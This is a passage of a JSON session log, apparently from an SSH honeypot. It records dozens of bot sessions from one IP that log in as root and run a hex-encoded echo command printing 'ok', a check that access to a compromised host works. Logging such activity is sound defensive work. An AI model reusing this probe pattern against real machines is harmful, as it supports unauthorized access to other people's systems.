  "started_at": "2026-08-23T09:37:43.533088+00:00",
  "ended_at": "2026-08-23T09:37:44.473032+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "928094dd-6545-4258-9c99-35155177c0df",
  "name": "honest-fabled-galago",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 58088,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:37:40.569138+00:00",
  "ended_at": "2026-08-23T09:37:42.835384+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "b24ba2fa-cb91-4eb9-b0ed-bca48939b9a4",
  "name": "mighty-thorny-zebu",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 58080,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:37:38.975926+00:00",
  "ended_at": "2026-08-23T09:37:39.903200+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "14404f08-4e2e-4615-974d-48fcb7af8a01",
  "name": "drifting-coral-redstart",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 47004,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:37:36.039064+00:00",
  "ended_at": "2026-08-23T09:37:38.179178+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "dbd2add9-f280-4de7-a198-1dcf48998e86",
  "name": "hollow-solemn-kakapo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 46988,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:37:33.007623+00:00",
  "ended_at": "2026-08-23T09:37:35.255878+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "29318371-ca18-4a2e-95a4-54c5cc1119b3",
  "name": "valiant-fickle-kiwi",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 46980,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:37:30.382183+00:00",
  "ended_at": "2026-08-23T09:37:32.302841+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "fc1aa825-c5e9-43a3-89fe-50b7fe36a289",
  "name": "sullen-russet-wallaby",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 51968,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:37:28.407586+00:00",
  "ended_at": "2026-08-23T09:37:29.575935+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "87807a13-4bc7-4a92-8886-f6a56df6d38a",
  "name": "primal-sunlit-porcupine",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 51954,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:37:26.293279+00:00",
  "ended_at": "2026-08-23T09:37:27.569997+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "ed9a5cc9-30d1-4993-93a9-397b956f54e0",
  "name": "eager-austere-cormorant",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 51942,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:37:23.332379+00:00",
  "ended_at": "2026-08-23T09:37:25.412048+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "878a2d33-c304-408a-b3aa-86c8c80f3e92",
  "name": "western-amiable-curlew",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 51932,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:37:20.731755+00:00",
  "ended_at": "2026-08-23T09:37:22.572097+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "0c17fd21-3238-4a54-af5a-f3a6063b3415",
  "name": "hardy-autumn-linnet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 51920,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:37:19.039478+00:00",
  "ended_at": "2026-08-23T09:37:19.949177+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "2418e900-c711-4a0f-9941-f559d2876dca",
  "name": "lawful-northern-gadwall",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 42030,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:37:16.135307+00:00",
  "ended_at": "2026-08-23T09:37:18.312381+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "4c1b5705-d2c4-4ee1-969a-8ea988d63984",
  "name": "gloomy-freckled-narwhal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 42026,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:37:13.360114+00:00",
  "ended_at": "2026-08-23T09:37:15.380766+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "0d37dd7b-654e-4ff9-abd6-a7b52619007a",
  "name": "mighty-crisp-stoat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 42016,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:37:11.490301+00:00",
  "ended_at": "2026-08-23T09:37:12.579370+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "a61efac6-c659-446d-a99f-2290645d3cca",
  "name": "tranquil-nautical-wren",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 37882,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:37:08.813214+00:00",
  "ended_at": "2026-08-23T09:37:10.833751+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "66fd18fb-b7ba-4a6c-a7d7-7f2f865bcf13",
  "name": "brazen-steady-turnstone",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 37870,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:37:04.589630+00:00",
  "ended_at": "2026-08-23T09:37:07.991846+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "8ba18204-8d55-439a-99c8-709690c560d7",
  "name": "lucid-gnarled-seal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 37868,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:37:02.367214+00:00",
  "ended_at": "2026-08-23T09:37:03.814166+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "7e7b9c81-3744-4d7e-9e09-909826371971",
  "name": "patient-sandy-pangolin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 37854,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:36:59.878841+00:00",
  "ended_at": "2026-08-23T09:37:01.610427+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "d9121ef4-1610-4bc5-8481-32bbd5ea6fba",
  "name": "fringed-balmy-reindeer",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 60836,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:36:57.631352+00:00",
  "ended_at": "2026-08-23T09:36:59.029702+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "1dabc270-c6ab-4c58-8e93-213d2b520fcf",
  "name": "sandy-rambling-redshank",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 60826,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:36:55.980234+00:00",
  "ended_at": "2026-08-23T09:36:56.914661+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "f331af4b-d736-4a1d-9d20-ddbe9193d3ab",
  "name": "dappled-dapper-martin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 60810,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:36:54.265011+00:00",
  "ended_at": "2026-08-23T09:36:55.161530+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "ce4ae045-33ee-415d-a405-85506edd19eb",
  "name": "civil-quiet-ouzel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 60798,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:36:52.599163+00:00",
  "ended_at": "2026-08-23T09:36:53.535213+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "4e8e10aa-3ad3-4eef-b8d4-710a4b995e5a",
  "name": "plush-thorny-brambling",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 60784,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:36:50.508370+00:00",
  "ended_at": "2026-08-23T09:36:51.796075+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "b31c90f7-7cb4-46b7-8141-41419ce18231",
  "name": "obsidian-marbled-nightjar",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 32964,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:36:47.553310+00:00",
  "ended_at": "2026-08-23T09:36:49.769911+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "ad1e3527-f0f9-4b85-bf6b-eca2fda6fdab",
  "name": "honest-pristine-eider",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 32956,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:36:45.644914+00:00",
  "ended_at": "2026-08-23T09:36:46.858044+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "08cc99c5-c5d5-4a6d-b631-532b0b8fdb86",
  "name": "primal-rugged-flamingo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 32944,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:36:43.673969+00:00",
  "ended_at": "2026-08-23T09:36:44.959249+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "05a85aeb-a045-430a-95fb-720365cf28f9",
  "name": "mottled-brisk-curlew",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 32936,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:36:41.583427+00:00",
  "ended_at": "2026-08-23T09:36:42.862738+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "b55133ab-13fc-4ae5-b4d9-afbdab07af7c",
  "name": "earnest-oaken-chamois",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 50516,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:36:38.749539+00:00",
  "ended_at": "2026-08-23T09:36:40.933185+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "83f4f395-4254-4f4a-baf5-4a4c8cd8247f",
  "name": "sincere-rugged-gibbon",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 50508,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:36:35.859284+00:00",
  "ended_at": "2026-08-23T09:36:37.980305+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "b6adc87f-80c7-409b-a2b0-cbad063024f6",
  "name": "foggy-obsidian-crossbill",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 50498,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:36:33.121650+00:00",
  "ended_at": "2026-08-23T09:36:35.187086+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "97cdc943-332a-47df-b93e-3d8e79c97f17",
  "name": "coastal-hushed-capuchin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 50490,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:36:30.346676+00:00",
  "ended_at": "2026-08-23T09:36:32.343608+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "6bd3acb3-2358-4ddc-b29b-8bc5d87a620e",
  "name": "leafy-sleepy-chinchilla",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 59066,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:36:25.494658+00:00",
  "ended_at": "2026-08-23T09:36:29.703923+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "22d7fe9f-34a0-46db-bb24-b4f74a8f7c35",
  "name": "cunning-plush-gull",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 59050,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:36:23.695793+00:00",
  "ended_at": "2026-08-23T09:36:24.736074+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "e93b4928-b011-44e8-aac3-a0efe82899de",
  "name": "kindly-civil-teal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 59042,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:36:22.000475+00:00",
  "ended_at": "2026-08-23T09:36:22.967072+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "448bcee8-4813-4a59-8595-84f060ba202f",
  "name": "lunar-velvet-springbok",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 59032,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:36:20.110073+00:00",
  "ended_at": "2026-08-23T09:36:21.323309+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "89126e47-770d-4347-8565-e6e832c75c87",
  "name": "blithe-ashen-crane",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 59710,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:36:15.728377+00:00",
  "ended_at": "2026-08-23T09:36:19.303923+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "3fd802f9-454f-435b-b969-5d130cedb9d2",
  "name": "umber-frugal-cormorant",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 59694,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:36:13.618927+00:00",
  "ended_at": "2026-08-23T09:36:14.878950+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "ff26b4be-3f45-427b-a791-4c1be8be4199",
  "name": "western-nameless-redstart",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 59692,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:36:12.020329+00:00",
  "ended_at": "2026-08-23T09:36:12.955887+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "3ef4b8ff-30e0-46c6-be97-4db3beb46820",
  "name": "nameless-knotted-jerboa",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 59682,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:36:09.479854+00:00",
  "ended_at": "2026-08-23T09:36:11.350802+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "7c7c961c-7eab-4239-ae52-2cb1f968a58d",
  "name": "ancient-diligent-caracal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 33570,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:36:06.994434+00:00",
  "ended_at": "2026-08-23T09:36:08.861292+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "19363c6e-de97-4cd0-980f-4a2c3d03291e",
  "name": "drifting-buoyant-impala",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 33554,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:36:04.552539+00:00",
  "ended_at": "2026-08-23T09:36:06.345381+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "99d0c2c4-fe30-452a-a0ee-364f642eef53",
  "name": "faded-drifting-dormouse",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 33538,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:36:02.442143+00:00",
  "ended_at": "2026-08-23T09:36:03.869146+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "315b4af6-f649-4b73-b365-b5970ac08a31",
  "name": "fickle-proud-reindeer",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 33528,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:35:59.385227+00:00",
  "ended_at": "2026-08-23T09:36:01.631006+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "17461bae-f384-46cc-bfc7-38cb000d16d7",
  "name": "dusky-painted-hoopoe",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 43620,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:35:57.499589+00:00",
  "ended_at": "2026-08-23T09:35:58.540111+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "7db4067c-1469-4e9b-89b1-42ab6b139dca",
  "name": "lanky-prairie-sparrow",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 43604,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:35:55.053164+00:00",
  "ended_at": "2026-08-23T09:35:56.665028+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "763305c9-d507-4535-a437-c1e190968a47",
  "name": "bold-wandering-goose",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 43592,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:35:53.111163+00:00",
  "ended_at": "2026-08-23T09:35:54.329183+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "9a5e8cfc-a730-4db2-88ec-01f09d86ad1e",
  "name": "fabled-tawny-marmot",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 43584,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:35:51.436326+00:00",
  "ended_at": "2026-08-23T09:35:52.322100+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "a67a14be-feee-4681-866d-bea194ed9ba0",
  "name": "lofty-ashen-mongoose",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 43582,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:35:49.282149+00:00",
  "ended_at": "2026-08-23T09:35:50.751844+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "1141dc5d-c5eb-47b5-9f2b-e62778f733ce",
  "name": "coral-watchful-shearwater",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 37408,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:35:46.722190+00:00",
  "ended_at": "2026-08-23T09:35:48.630067+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "95ec0f70-e3f7-4d02-b92b-4fee48026550",
  "name": "thorny-sooty-cardinal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 37392,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:35:44.542943+00:00",
